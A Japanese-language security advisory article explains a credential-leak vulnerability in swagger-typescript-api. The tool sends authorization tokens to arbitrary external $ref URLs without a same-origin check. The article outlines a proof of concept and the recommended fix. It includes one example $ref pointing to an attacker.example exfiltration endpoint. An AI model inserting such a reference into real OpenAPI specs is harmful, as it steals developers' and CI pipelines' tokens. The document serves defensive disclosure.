はじめに：swagger-typescript-apiをご利用のフロントエンドエンジニアの皆様へ

フロントエンド開発において、APIクライアントコードの自動生成ツールとして`swagger-typescript-api`を利用されている方も多いのではないでしょうか。もし、認証が必要なプライベートなOpenAPI仕様を扱っている場合、緊急性の高い脆弱性情報が公開されましたので、特にご注意ください。本記事では、この脆弱性GHSA-h754-fxp7-88wx (CVE-2026-54660) について、その詳細なメカニズム、考えられる影響、そして最も重要な対策について、技術的な観点から解説します。

脆弱性の概要：認証トークンの意図せぬ漏洩

この脆弱性は、`swagger-typescript-api`がOpenAPI仕様内の外部`$ref`URLを解決する際、設定された`--authorizationToken`が意図せず**任意の外部URL**に送信されてしまうというものです。通常、`--authorizationToken`はプライベートなAPI仕様にアクセスするために使用されますが、この脆弱性により、悪意のある`$ref`を含むOpenAPI仕様を処理すると、その認証トークンが攻撃者制御下のサーバーに漏洩する可能性があります。

技術的詳細：なぜ認証トークンが漏洩するのか？

`swagger-typescript-api`は、`--authorizationToken`が設定されている場合、すべてのHTTPリクエストにそのトークンを`Authorization`ヘッダーとして付与します。問題は、このトークンを付与する際に、リクエスト先のURLが元々のOpenAPI仕様のURLと**同じオリジン（Same-Origin）であるかどうかのチェックを全く行わない**点にあります。

具体的には、`src/resolved-swagger-schema.ts`内の`getRemoteRequestHeaders`関数が認証ヘッダーを生成し、`fetchRemoteSchemaDocument`関数がこのヘッダーを付けて外部URLにリクエストを送信します。この処理が、仕様内の`$ref`が指す外部URLに対しても無条件に行われるため、悪意のある`$ref`が仕込まれていた場合、開発者の認証トークンがそのまま攻撃者のサーバーに送信されてしまいます。例えば、OpenAPI仕様の中に以下のような記述があった場合、`swagger-typescript-api`はこのURLに対して開発者の認証トークンを付与したリクエストを送信してしまいます。

`{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }`

影響を受ける構成とシナリオ

この脆弱性の影響は非常に広範であり、特に以下のようなケースで深刻なリスクがあります。

1. **プライベートなOpenAPI仕様を認証付きで利用している開発者:** GitHubのプライベートリポジトリ、OAuth保護されたベンダーAPI、エンタープライズのConfluenceなどでホストされているOpenAPI仕様を`--authorizationToken`を使って取得している場合、攻撃者は悪意のある`$ref`を含む仕様を作成し、開発者のGitHub Personal Access Token (PAT) やOAuth Bearer Tokenなどを窃取できます。これはまさに`--authorizationToken`の意図されたユースケースであり、多くのユーザーが該当する可能性があります。

2. **CI/CDパイプライン:** ビルドごとにプライベートな仕様からクライアントを自動生成しているCI/CD環境では、CI/CDが持つ認証トークン（多くの場合、長期間有効なサービスアカウントの認証情報）がビルドのたびに漏洩するリスクがあります。これにより、CI/CDパイプラインの完全な乗っ取りにつながる可能性があります。

3. **マルチテナントSaaS:** ユーザーが提供したOpenAPI仕様からクライアントを生成するようなSaaSプロバイダーは、悪意のあるテナントの仕様によって、SaaSプロバイダー自体のAPIキーが漏洩する可能性があります。

4. **オープンソースプロジェクトや共同開発:** コントリビューターがPR経由でOpenAPI仕様を変更できる場合、悪意のある変更によってプロジェクトのCI/CD認証情報が漏洩する可能性があります。

漏洩するのは、GitHub PAT、OAuth Bearer Token、AWS形式のAPIキー、CI/CDサービスアカウントトークンなど、**高い権限を持つ認証情報**です。これらの情報が漏洩すると、ソースコードの読み書き、APIの完全な模倣、アカウントへのフルアクセスなど、トークンが持つスコープに応じた重大な被害が発生する可能性があります。この脆弱性は、コード生成時（`swagger-typescript-api generate`実行時）に発生し、生成されたクライアントが利用される時ではありません。

再現手順 (PoC) の概要

脆弱性報告では、簡単に再現できるPoCが提供されています。以下の手順でトークンが漏洩する様子を観察できます。

1. `swagger-typescript-api@13.12.1`をインストールします。

2. 2つのローカルHTTPサーバーを立てます。1つは悪意のある`$ref`を含むOpenAPI仕様を配信する「仕様サーバー」、もう1つは漏洩した認証トークンを受信する「攻撃者サーバー」です。

3. `--authorizationToken`オプションにダミーの認証トークンを設定し、`swagger-typescript-api`を実行します。

この結果、悪意のある`$ref`が指す攻撃者サーバーに対して、開発者が設定した完全な`Bearer USER_GITHUB_PAT_super_secret_xyz123`のような認証トークンがそのまま送信されることが確認できます。

深刻な影響と推奨される修正

この脆弱性はCWE-522 (Insufficiently Protected Credentials) および CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) に分類され、認証トークンの完全な窃取という極めて深刻な影響をもたらします。

**最も効果的で推奨される修正は、認証ヘッダーを付与する際に同オリジンチェック（Same-Origin Check）を導入することです。** 具体的には、`Authorization`ヘッダーを付与する条件として、リクエスト先のURLが元のOpenAPI仕様のURLとプロトコルおよびホストが一致する場合のみに限定するべきです。これは、ブラウザが認証情報を扱う際のデフォルトの動作（Same-Origin Policy）に倣ったものであり、正当な同サーバー内の`$ref`は引き続き認証を維持しつつ、異なるオリジンへのトークン漏洩を防ぎます。

脆弱性報告では、以下のようなコード変更が提案されています。

`getRemoteRequestHeaders`関数に`targetUrl`引数を追加し、`isSameOrigin`ヘルパー関数を使って、`targetUrl`と`this.config.url`（元の仕様のURL）のプロトコルとホストが一致する場合にのみ`Authorization`ヘッダーを設定します。

さらに深い対策として、この脆弱性は同時に報告されたSSRF脆弱性（プライベートIPフィルターの欠如）と補完的な関係にあります。SSRF対策と合わせて、多層的なセキュリティ対策を講じることが望ましいとされています。

フロントエンドエンジニアの皆様へ：今すぐ取るべき対策

現時点では、`swagger-typescript-api`の公式なパッチリリース状況を確認し、速やかにアップデートを適用することが最重要です。利用しているバージョンがこの脆弱性の影響を受けるかどうかを確認し、最新バージョンへの更新を強く推奨します。`package.json`の依存関係を見直し、常にセキュリティアップデートが適用された状態を維持しましょう。

また、OpenAPI仕様を外部から取得する際には、その信頼性を十分に確認することが不可欠です。特に、`--authorizationToken`オプションを使用している場合は、悪意のある`$ref`が含まれていないか注意深くレビューするようにしてください。

まとめ

`swagger-typescript-api`における認証トークン漏洩の脆弱性（CVE-2026-54660）は、特にプライベートなAPI仕様を扱うフロントエンド開発者にとって、重大なセキュリティリスクとなります。この脆弱性は、悪意のあるOpenAPI仕様を処理する際に、開発者の認証情報が攻撃者に窃取される可能性をはらんでいます。同オリジンチェックの導入が主要な対策となりますので、利用者は速やかに最新バージョンへのアップデートを検討し、セキュリティリスクを最小限に抑えるよう努めてください。